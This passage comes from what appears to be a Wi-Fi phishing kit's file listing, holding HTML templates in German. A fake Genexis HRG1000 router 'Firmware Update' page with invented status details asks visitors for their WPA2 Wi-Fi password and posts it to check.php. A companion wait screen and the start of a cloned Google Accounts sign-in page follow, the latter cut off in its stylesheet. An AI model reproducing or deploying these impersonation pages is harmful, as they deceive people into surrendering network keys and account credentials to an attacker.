    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<title>Genexis DRGOS</title>\r\n<meta charset=\"UTF-8\" />\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0;\" /> \r\n<style>\r\nbody{\r\n\tpadding:0px;\r\n\tmargin:0px;\r\n\tfont:11px/1.545 verdana,arial,sans-serif;\r\n\tcolor:#000000;\r\n}\r\n#footer {\r\n\tposition:absolute;\r\n\tbottom:0px;\r\n\twidth:100%;\r\n\theight: 55px;\r\n\ttext-align:left;\r\n\tvertical-align:middle;\r\n\tborder-top: thin solid #000000;\r\n}\r\n#footer img {\r\n\tmargin-top:15px;\r\n\tmargin-left: 20px;\r\n}\r\n#top_nav {\r\n\twidth: 100%;\r\n\tborder-bottom:#000000 solid thin;\r\n\theight:55px;\r\n\tbackground-color:#002659;\r\n\tcolor:#FFFFFF;\r\n}\r\n#top_nav p {\r\n\tfont-weight:bold;\r\n\tfont-size:20px;\r\n\tmargin:0px;\r\n\tmargin-left:30px;\r\n\tdisplay:table-row;\r\n}\r\n#top_nav_load {\r\n\tposition: relative;\r\n\tfloat:right;\r\n\tfont-size:9.5px;\r\n\tmargin-top:8px;\r\n\tmargin-right: 6px;\r\n}\r\n#top_nav ul, #sub_nav ul {\r\n\tlist-style:none;\r\n\tmargin:0px;\r\n\tdisplay:table-row;\r\n\tvertical-align:bottom;\r\n}\r\n#top_nav ul li, #sub_nav ul li {\r\n\tdisplay: inline;\r\n\tfont-size:12px;\r\n\tmargin-right:10px;\r\n\tmargin-top:28px;\r\n\tpadding:5px;\r\n\tpadding-left:10px;\r\n\tpadding-right:10px;\r\n}\r\n.selected a {\r\n\tcolor:#1bbdf5 !important;\r\n}\r\n.selected:hover  {\r\n\tbackground-color:transparent !important;\r\n}\r\n.seperator {\r\n\tcursor:default !important;\r\n\tbackground-color:transparent !important;\r\n}\r\n#top_nav ul li a, #sub_nav ul li a {\r\n\tcolor:#FFFFFF;\r\n\ttext-decoration:none;\r\n\tfont-size:12px;\r\n}\r\n#top_nav ul li:hover, #sub_nav ul li:hover {\r\n\tbackground-color:#44c8f5;\r\n\tcursor:pointer;\r\n}\r\n#sub_nav {\r\n\twidth: 100%;\r\n\theight:30px;\r\n\tbackground-color:#002659;\r\n}\r\n#sub_nav ul {\r\n\tdisplay: block;\r\n\tpadding:0px;\r\n}\r\n#sub_nav ul li {\r\n\tmargin-right:0px !important;\r\n}\r\n#sub_nav ul li a {\r\n\tfont-size:10px !important;\r\n}\r\n#content {\r\n\twidth:100%;\r\n\tmin-height: 200px;\r\n}\r\n#content_box {\r\n\tmargin-top: 20px;\r\n\tmargin-left: 30px;\r\n\twidth:90%;\r\n}\r\n#content_box h1 {\r\n\tmargin:auto;\r\n\ttext-align:center;\r\n}\r\n#form_box {\r\n\tmargin-top:20px;\r\n\tmin-width:20%;\r\n}\r\n#form_box table {\r\n\tfont-size:12px;\r\n}\r\n#spinner {\r\n\tbackground-image:url(spinner.gif);\r\n\tbackground-repeat:no-repeat;\r\n\tbackground-size:cover;\r\n\theight:60px;\r\n\twidth:60px;\r\n\tposition:absolute;\r\n\ttop:45%;\r\n\tleft:45%;\r\n}\r\n@media only screen and (max-width: 1024px) {\r\n\t#top_nav p {\r\n\t\tdisplay:none;\r\n\t}\r\n\t#top_nav ul {\r\n\t\tbottom:0px;\r\n\t}\r\n}\r\n@media only screen and (max-width: 480px) {\r\n\t#top_nav_load {\r\n\t\tdisplay:none;\t\r\n\t}\r\n\t#top_nav ul {\r\n\t\tdisplay:inline;\r\n\t\tmargin-left:0px;\r\n\t\tpadding-left:0px;\r\n\t}\r\n\t#sub_nav ul li {\r\n\t\tfont-size:8px;\r\n\t\tmargin-right:2px;\r\n\t\t\r\n\t}\r\n\t#content_box {\r\n\t\twidth:80%;\r\n\t}\r\n\t#form_box {\r\n\t\ttext-align:center;\r\n\t\t\r\n\t}\r\n\t#form_box table {\r\n\t\tmargin:auto;\r\n\t}\r\n\t#spinner {\r\n\t\tleft:40%;\r\n\t}\r\n}\r\n</style>\r\n</head>\r\n  \r\n<body>\r\n<div id=\"header\">\r\n\t<div id=\"top_nav\">\r\n        <div id=\"top_nav_load\"><strong>Host:</strong> 000300000573-0006a20f1f32d57c <strong>Betriebszeit:</strong> 11 days, 3:24 <strong>Laden:</strong> 0.14, 0.05, 0.01</div>\r\n        <div style=\"position:relative; display: table;\">\r\n       \t \t<p style=\"float:left;\">HRG1000</p>\r\n        \t<ul>\r\n        \t\t<li><a href=\"#\">Information</a></li>\r\n\t            <li class=\"selected\"><a href=\"#\">Status</a></li>\r\n    \t        <li class=\"seperator\">-</li>\r\n\t            <li><a href=\"#\">System</a></li>\r\n\t            <li><a href=\"#\">Netzwerk</a></li>\r\n\t            <li><a href=\"#\">Kindersicherung</a></li>\r\n\t        </ul>\r\n        </div>\r\n    </div>\r\n    <div id=\"sub_nav\">\r\n\t\t<ul>\r\n\t\t\t<li><a href=\"#\">Interfaces</a></li>\r\n\t\t\t<li><a href=\"#\">DHCP Client</a></li>\r\n\t\t\t<li class=\"selected\"><a href=\"#\">WLAN Pr&uuml;fung</a></li>\r\n\t\t\t<li><a href=\"#\">CATV</a></li>\r\n\t\t\t<li><a href=\"#\">VoIP</a></li>\r\n\t\t\t<li><a href=\"#\">Diagnose-Programm</a></li>\r\n\t\t</ul>\r\n    </div>\r\n</div>\r\n\r\n<div id=\"content\">\r\n\t<div id=\"content_box\">\r\n    \t<h1>Firmware Update</h1>\r\n        <div id=\"form_box\">\r\n        \t<h2>Bitte einen Moment Geduld</h2>\r\n            \t<table cellspacing=\"5px\" cols=\"2\">\r\n                \t<tr>\r\n                    \t<td colspan=\"2\">Die WLAN Verbindung wird hergestellt...</td>\r\n                    </tr>\r\n                    <tr>\r\n                    \t<td colspan=\"2\">Dies kann einige Minuten in Anspruch nehmen.</td>\r\n                    </tr>\r\n                </table>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div id=\"spinner\"></div>\r\n\r\n<div id=\"footer\">\r\n\t<img src=\"genexis-logo-small.jpg\" alt=\"Genexis. Always connected\" />\r\n</div>\r\n</body>\r\n \r\n</html>"
  },
  {
    "path": "sites/genenix_de/index.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<title>Genexis DRGOS</title>\r\n<meta charset=\"UTF-8\" />\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0;\" /> \r\n<style>\r\nbody{\r\n\tpadding:0px;\r\n\tmargin:0px;\r\n\tfont:11px/1.545 verdana,arial,sans-serif;\r\n\tcolor:#000000;\r\n}\r\n#footer {\r\n\tposition:absolute;\r\n\tbottom:0px;\r\n\twidth:100%;\r\n\theight: 55px;\r\n\ttext-align:left;\r\n\tvertical-align:middle;\r\n\tborder-top: thin solid #000000;\r\n}\r\n#footer img {\r\n\tmargin-top:15px;\r\n\tmargin-left: 20px;\r\n}\r\n#top_nav {\r\n\twidth: 100%;\r\n\tborder-bottom:#000000 solid thin;\r\n\theight:55px;\r\n\tbackground-color:#002659;\r\n\tcolor:#FFFFFF;\r\n}\r\n#top_nav p {\r\n\tfont-weight:bold;\r\n\tfont-size:20px;\r\n\tmargin:0px;\r\n\tmargin-left:30px;\r\n\tdisplay:table-row;\r\n}\r\n#top_nav_load {\r\n\tposition: relative;\r\n\tfloat:right;\r\n\tfont-size:9.5px;\r\n\tmargin-top:8px;\r\n\tmargin-right: 6px;\r\n}\r\n#top_nav ul, #sub_nav ul {\r\n\tlist-style:none;\r\n\tmargin:0px;\r\n\tdisplay:table-row;\r\n\tvertical-align:bottom;\r\n}\r\n#top_nav ul li, #sub_nav ul li {\r\n\tdisplay: inline;\r\n\tfont-size:12px;\r\n\tmargin-right:10px;\r\n\tmargin-top:28px;\r\n\tpadding:5px;\r\n\tpadding-left:10px;\r\n\tpadding-right:10px;\r\n}\r\n.selected a {\r\n\tcolor:#1bbdf5 !important;\r\n}\r\n.selected:hover  {\r\n\tbackground-color:transparent !important;\r\n}\r\n.seperator {\r\n\tcursor:default !important;\r\n\tbackground-color:transparent !important;\r\n}\r\n#top_nav ul li a, #sub_nav ul li a {\r\n\tcolor:#FFFFFF;\r\n\ttext-decoration:none;\r\n\tfont-size:12px;\r\n}\r\n#top_nav ul li:hover, #sub_nav ul li:hover {\r\n\tbackground-color:#44c8f5;\r\n\tcursor:pointer;\r\n}\r\n#sub_nav {\r\n\twidth: 100%;\r\n\theight:30px;\r\n\tbackground-color:#002659;\r\n}\r\n#sub_nav ul {\r\n\tdisplay: block;\r\n\tpadding:0px;\r\n}\r\n#sub_nav ul li {\r\n\tmargin-right:0px !important;\r\n}\r\n#sub_nav ul li a {\r\n\tfont-size:10px !important;\r\n}\r\n#content {\r\n\twidth:100%;\r\n\tmin-height: 200px;\r\n}\r\n#content_box {\r\n\tmargin-top: 20px;\r\n\tmargin-left: 30px;\r\n\twidth:90%;\r\n}\r\n#content_box h1 {\r\n\tmargin:auto;\r\n\ttext-align:center;\r\n}\r\n#form_box {\r\n\tmargin-top:20px;\r\n\tmin-width:20%;\r\n}\r\n#form_box table {\r\n\tfont-size:12px;\r\n}\r\n@media only screen and (max-width: 1024px) {\r\n\t#top_nav p {\r\n\t\tdisplay:none;\r\n\t}\r\n\t#top_nav ul {\r\n\t\tbottom:0px;\r\n\t}\r\n}\r\n@media only screen and (max-width: 480px) {\r\n\t#top_nav_load {\r\n\t\tdisplay:none;\t\r\n\t}\r\n\t#sub_nav ul li {\r\n\t\tfont-size:8px;\r\n\t\tmargin-right:2px;\r\n\t}\r\n\t#content_box {\r\n\t\twidth:80%;\r\n\t}\r\n\t#form_box {\r\n\t\ttext-align:center;\r\n\t}\r\n}\r\n</style>\r\n</head>\r\n  \r\n<body>\r\n<div id=\"header\">\r\n\t<div id=\"top_nav\">\r\n        <div id=\"top_nav_load\"><strong>Host:</strong> 000300000573-0006a20f1f32d57c <strong>Betriebszeit:</strong> 11 days, 3:24 <strong>Laden:</strong> 0.14, 0.05, 0.01</div>\r\n        <div style=\"position:relative; display: table;\">\r\n       \t \t<p style=\"float:left;\">HRG1000</p>\r\n        \t<ul>\r\n        \t\t<li><a href=\"#\">Information</a></li>\r\n\t            <li class=\"selected\"><a href=\"#\">Status</a></li>\r\n    \t        <li class=\"seperator\">-</li>\r\n\t            <li><a href=\"#\">System</a></li>\r\n\t            <li><a href=\"#\">Netzwerk</a></li>\r\n\t            <li><a href=\"#\">Kindersicherung</a></li>\r\n\t        </ul>\r\n        </div>\r\n    </div>\r\n    <div id=\"sub_nav\">\r\n\t\t<ul>\r\n\t\t\t<li><a href=\"#\">Interfaces</a></li>\r\n\t\t\t<li><a href=\"#\">DHCP Client</a></li>\r\n\t\t\t<li class=\"selected\"><a href=\"#\">WLAN Pr&uuml;fung</a></li>\r\n\t\t\t<li><a href=\"#\">CATV</a></li>\r\n\t\t\t<li><a href=\"#\">VoIP</a></li>\r\n\t\t\t<li><a href=\"#\">Diagnose-Programm</a></li>\r\n\t\t</ul>\r\n    </div>\r\n</div>\r\n\r\n<div id=\"content\">\r\n\t<div id=\"content_box\">\r\n    \t<h1>Firmware Update</h1>\r\n        <div id=\"form_box\">\r\n        \t<h2>Um zu verbinden bitte WPA2-Kennwort eingeben</h2>\r\n        \t<form method=\"POST\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n            \t<table cellspacing=\"5px\" cols=\"2\">\r\n                \t<tr>\r\n                    \t<td>WLAN-Passwort:</td>\r\n                        <td><input type=\"password\" name=\"key1\"></td>\r\n                    </tr>\r\n                    <tr>\r\n                    \t<td>&nbsp;</td>\r\n                        <td><input type=\"submit\" value=\"Verbindung herstellen\"></td>\r\n                    </tr>\r\n                </table>\r\n            </form>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div id=\"footer\">\r\n\t<img src=\"genexis-logo-small.jpg\" alt=\"Genexis. Always connected\" />\r\n</div>\r\n</body>\r\n \r\n</html>"
  },
  {
    "path": "sites/google_de/error.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n  <meta charset=\"utf-8\">\r\n  <meta content=\"width=300, initial-scale=1\" name=\"viewport\">\r\n  <meta name=\"robots\" content=\"noindex\">\r\n  <meta name=\"google-site-verification\" content=\"LrdTUW9psUAMbh4Ia074-BPEVmcpBxF6Gwf0MSgQXZs\">\r\n  <title>Anmelden – Google Konten</title>\r\n  <style>\r\n  /* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTa-j2U0lmluP9RWlSytm3ho.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTZX5f-9o1vgP2EXwfjgl7AY.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTRWV49_lSm1NYrwo-zkhivY.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTaaRobkAwv3vxw3jMhVENGA.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTf8zf_FOSsgRmwsS7Aa9k2w.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTT0LW-43aMEzIO6XUTLjad8.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  src: local('Open Sans Light'), local('OpenSans-Light'), url(//fonts.gstatic.com/s/opensans/v13/DXI1ORHCpsQm3Vp6mXoaTegdm0LZdjqr5-oayXSOefg.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/K88pR3goAWT7BTt32Z01mxJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/RjgO7rYTmqiVp7vzi-Q5URJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/LWCjsQkB6EMdfHrEVqA1KRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/xozscpT2726on7jbcb_pAhJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/59ZRklaO5bWGqF5A9baEERJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/u-WUoqrET9fUeobQW7jkRRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Open Sans';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  src: local('Open Sans'), local('OpenSans'), url(//fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;\r\n}\r\n  </style>\r\n  <style>\r\n  h1, h2 {\r\n  -webkit-animation-duration: 0.1s;\r\n  -webkit-animation-name: fontfix;\r\n  -webkit-animation-iteration-count: 1;\r\n  -webkit-animation-timing-function: linear;\r\n  -webkit-animation-delay: 0;\r\n  }\r\n  @-webkit-keyframes fontfix {\r\n  from {\r\n  opacity: 1;\r\n  }\r\n  to {\r\n  opacity: 1;\r\n  }\r\n  }\r\n  </style>\r\n<style>\r\n  html, body {\r\n  font-family: Arial, sans-serif;\r\n  background: #fff;\r\n  margin: 0;\r\n  padding: 0;\r\n  border: 0;\r\n  position: absolute;\r\n  height: 100%;\r\n  min-width: 100%;\r\n  font-size: 13px;\r\n  color: #404040;\r\n  direction: ltr;\r\n  -webkit-text-size-adjust: none;\r\n  }\r\n  button,\r\n  input[type=button],\r\n  input[type=submit] {\r\n  font-family: Arial, sans-serif;\r\n  font-size: 13px;\r\n  }\r\n  a,\r\n  a:hover,\r\n  a:visited {\r\n  color: #427fed;\r\n  cursor: pointer;\r\n  text-decoration: none;\r\n  }\r\n  a:hover {\r\n  text-decoration: underline;\r\n  }\r\n  h1 {\r\n  font-size: 20px;\r\n  color: #262626;\r\n  margin: 0 0 15px;\r\n  font-weight: normal;\r\n  }\r\n  h2 {\r\n  font-size: 14px;\r\n  color: #262626;\r\n  margin: 0 0 15px;\r\n  font-weight: bold;\r\n  }\r\n  input[type=email],\r\n  input[type=number],\r\n  input[type=password],\r\n  input[type=tel],\r\n  input[type=text],\r\n  input[type=url] {\r\n  -moz-appearance: none;\r\n  -webkit-appearance: none;\r\n  appearance: none;\r\n  display: inline-block;\r\n  height: 36px;\r\n  padding: 0 8px;\r\n  margin: 0;\r\n  background: #fff;\r\n  border: 1px solid #d9d9d9;\r\n  border-top: 1px solid #c0c0c0;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  -moz-border-radius: 1px;\r\n  -webkit-border-radius: 1px;\r\n  border-radius: 1px;\r\n  font-size: 15px;\r\n  color: #404040;\r\n  }\r\n  input[type=email]:hover,\r\n  input[type=number]:hover,\r\n  input[type=password]:hover,\r\n  input[type=tel]:hover,\r\n  input[type=text]:hover,\r\n  input[type=url]:hover {\r\n  border: 1px solid #b9b9b9;\r\n  border-top: 1px solid #a0a0a0;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  input[type=email]:focus,\r\n  input[type=number]:focus,\r\n  input[type=password]:focus,\r\n  input[type=tel]:focus,\r\n  input[type=text]:focus,\r\n  input[type=url]:focus {\r\n  outline: none;\r\n  border: 1px solid #4d90fe;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  input[type=checkbox],\r\n  input[type=radio] {\r\n  -webkit-appearance: none;\r\n  display: inline-block;\r\n  width: 13px;\r\n  height: 13px;\r\n  margin: 0;\r\n  cursor: pointer;\r\n  vertical-align: bottom;\r\n  background: #fff;\r\n  border: 1px solid #c6c6c6;\r\n  -moz-border-radius: 1px;\r\n  -webkit-border-radius: 1px;\r\n  border-radius: 1px;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  position: relative;\r\n  }\r\n  input[type=checkbox]:active,\r\n  input[type=radio]:active {\r\n  background: #ebebeb;\r\n  }\r\n  input[type=checkbox]:hover {\r\n  border-color: #c6c6c6;\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  input[type=radio] {\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  width: 15px;\r\n  height: 15px;\r\n  }\r\n  input[type=checkbox]:checked,\r\n  input[type=radio]:checked {\r\n  background: #fff;\r\n  }\r\n  input[type=radio]:checked::after {\r\n  content: '';\r\n  display: block;\r\n  position: relative;\r\n  top: 3px;\r\n  left: 3px;\r\n  width: 7px;\r\n  height: 7px;\r\n  background: #666;\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  }\r\n  input[type=checkbox]:checked::after {\r\n  content: url(https://ssl.gstatic.com/ui/v1/menu/checkmark.png);\r\n  display: block;\r\n  position: absolute;\r\n  top: -6px;\r\n  left: -5px;\r\n  }\r\n  input[type=checkbox]:focus {\r\n  outline: none;\r\n  border-color: #4d90fe;\r\n  }\r\n  .stacked-label {\r\n  display: block;\r\n  font-weight: bold;\r\n  margin: .5em 0;\r\n  }\r\n  .hidden-label {\r\n  position: absolute !important;\r\n  clip: rect(1px 1px 1px 1px); /* IE6, IE7 */\r\n  clip: rect(1px, 1px, 1px, 1px);\r\n  height: 0px;\r\n  width: 0px;\r\n  overflow: hidden;\r\n  visibility: hidden;\r\n  }\r\n  input[type=checkbox].form-error,\r\n  input[type=email].form-error,\r\n  input[type=number].form-error,\r\n  input[type=password].form-error,\r\n  input[type=text].form-error,\r\n  input[type=tel].form-error,\r\n  input[type=url].form-error {\r\n  border: 1px solid #dd4b39;\r\n  }\r\n  .error-msg {\r\n  margin: .5em 0;\r\n  display: block;\r\n  color: #dd4b39;\r\n  line-height: 17px;\r\n  }\r\n  .help-link {\r\n  background: #dd4b39;\r\n  padding: 0 5px;\r\n  color: #fff;\r\n  font-weight: bold;\r\n  display: inline-block;\r\n  -moz-border-radius: 1em;\r\n  -webkit-border-radius: 1em;\r\n  border-radius: 1em;\r\n  text-decoration: none;\r\n  position: relative;\r\n  top: 0px;\r\n  }\r\n  .help-link:visited {\r\n  color: #fff;\r\n  }\r\n  .help-link:hover {\r\n  color: #fff;\r\n  background: #c03523;\r\n  text-decoration: none;\r\n  }\r\n  .help-link:active {\r\n  opacity: 1;\r\n  background: #ae2817;\r\n  }\r\n  .wrapper {\r\n  position: relative;\r\n  min-height: 100%;\r\n  }\r\n  .content {\r\n  padding: 0 44px;\r\n  }\r\n  .main {\r\n  padding-bottom: 100px;\r\n  }\r\n  /* For modern browsers */\r\n  .clearfix:before,\r\n  .clearfix:after {\r\n  content: \"\";\r\n  display: table;\r\n  }\r\n  .clearfix:after {\r\n  clear: both;\r\n  }\r\n  /* For IE 6/7 (trigger hasLayout) */\r\n  .clearfix {\r\n  zoom:1;\r\n  }\r\n  .google-header-bar {\r\n  height: 71px;\r\n  border-bottom: 1px solid #e5e5e5;\r\n  overflow: hidden;\r\n  }\r\n  .header .logo {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/logo_1x.png);\r\n  background-size: 116px 38px;\r\n  background-repeat: no-repeat;\r\n  margin: 17px 0 0;\r\n  float: left;\r\n  height: 38px;\r\n  width: 116px;\r\n  }\r\n  .header .logo-w {\r\n  background-image: url(https://ssl.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_112x36dp.png);\r\n  background-size: 112px 36px;\r\n  margin: 21px 0 0;\r\n  }\r\n  .header .secondary-link {\r\n  margin: 28px 0 0;\r\n  float: right;\r\n  }\r\n  .header .secondary-link a {\r\n  font-weight: normal;\r\n  }\r\n  .google-header-bar.centered {\r\n  border: 0;\r\n  height: 108px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  float: none;\r\n  margin: 40px auto 30px;\r\n  display: block;\r\n  }\r\n  .google-header-bar.centered .header .secondary-link {\r\n  display: none\r\n  }\r\n  .google-footer-bar {\r\n  position: absolute;\r\n  bottom: 0;\r\n  height: 35px;\r\n  width: 100%;\r\n  border-top: 1px solid #e5e5e5;\r\n  overflow: hidden;\r\n  }\r\n  .footer {\r\n  padding-top: 7px;\r\n  font-size: .85em;\r\n  white-space: nowrap;\r\n  line-height: 0;\r\n  }\r\n  .footer ul {\r\n  float: left;\r\n  max-width: 80%;\r\n  min-height: 16px;\r\n  padding: 0;\r\n  }\r\n  .footer ul li {\r\n  color: #737373;\r\n  display: inline;\r\n  padding: 0;\r\n  padding-right: 1.5em;\r\n  }\r\n  .footer a {\r\n  color: #737373;\r\n  }\r\n  .lang-chooser-wrap {\r\n  float: right;\r\n  display: inline;\r\n  }\r\n  .lang-chooser-wrap img {\r\n  vertical-align: top;\r\n  }\r\n  .lang-chooser {\r\n  font-size: 13px;\r\n  height: 24px;\r\n  line-height: 24px;\r\n  }\r\n  .lang-chooser option {\r\n  font-size: 13px;\r\n  line-height: 24px;\r\n  }\r\n  .hidden {\r\n  height: 0px;\r\n  width: 0px;\r\n  overflow: hidden;\r\n  visibility: hidden;\r\n  display: none !important;\r\n  }\r\n  .banner {\r\n  text-align: center;\r\n  }\r\n  .card {\r\n  background-color: #f7f7f7;\r\n  padding: 20px 25px 30px;\r\n  margin: 0 auto 25px;\r\n  width: 304px;\r\n  -moz-border-radius: 2px;\r\n  -webkit-border-radius: 2px;\r\n  border-radius: 2px;\r\n  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  }\r\n  .card > *:first-child {\r\n  margin-top: 0;\r\n  }\r\n  .rc-button,\r\n  .rc-button:visited {\r\n  display: inline-block;\r\n  min-width: 46px;\r\n  text-align: center;\r\n  color: #444;\r\n  font-size: 14px;\r\n  font-weight: 700;\r\n  height: 36px;\r\n  padding: 0 8px;\r\n  line-height: 36px;\r\n  -moz-border-radius: 3px;\r\n  -webkit-border-radius: 3px;\r\n  border-radius: 3px;\r\n  -o-transition: all 0.218s;\r\n  -moz-transition: all 0.218s;\r\n  -webkit-transition: all 0.218s;\r\n  transition: all 0.218s;\r\n  border: 1px solid #dcdcdc;\r\n  background-color: #f5f5f5;\r\n  background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  background-image: linear-gradient(top,#f5f5f5,#f1f1f1);\r\n  -o-transition: none;\r\n  -moz-user-select: none;\r\n  -webkit-user-select: none;\r\n  user-select: none;\r\n  cursor: default;\r\n  }\r\n  .card .rc-button {\r\n  width: 100%;\r\n  padding: 0;\r\n  }\r\n  .rc-button.disabled,\r\n  .rc-button[disabled] {\r\n  opacity: .5;\r\n  filter: alpha(opacity=50);\r\n  cursor: default;\r\n  pointer-events: none;\r\n  }\r\n  .rc-button:hover {\r\n  border: 1px solid #c6c6c6;\r\n  color: #333;\r\n  text-decoration: none;\r\n  -o-transition: all 0.0s;\r\n  -moz-transition: all 0.0s;\r\n  -webkit-transition: all 0.0s;\r\n  transition: all 0.0s;\r\n  background-color: #f8f8f8;\r\n  background-image: 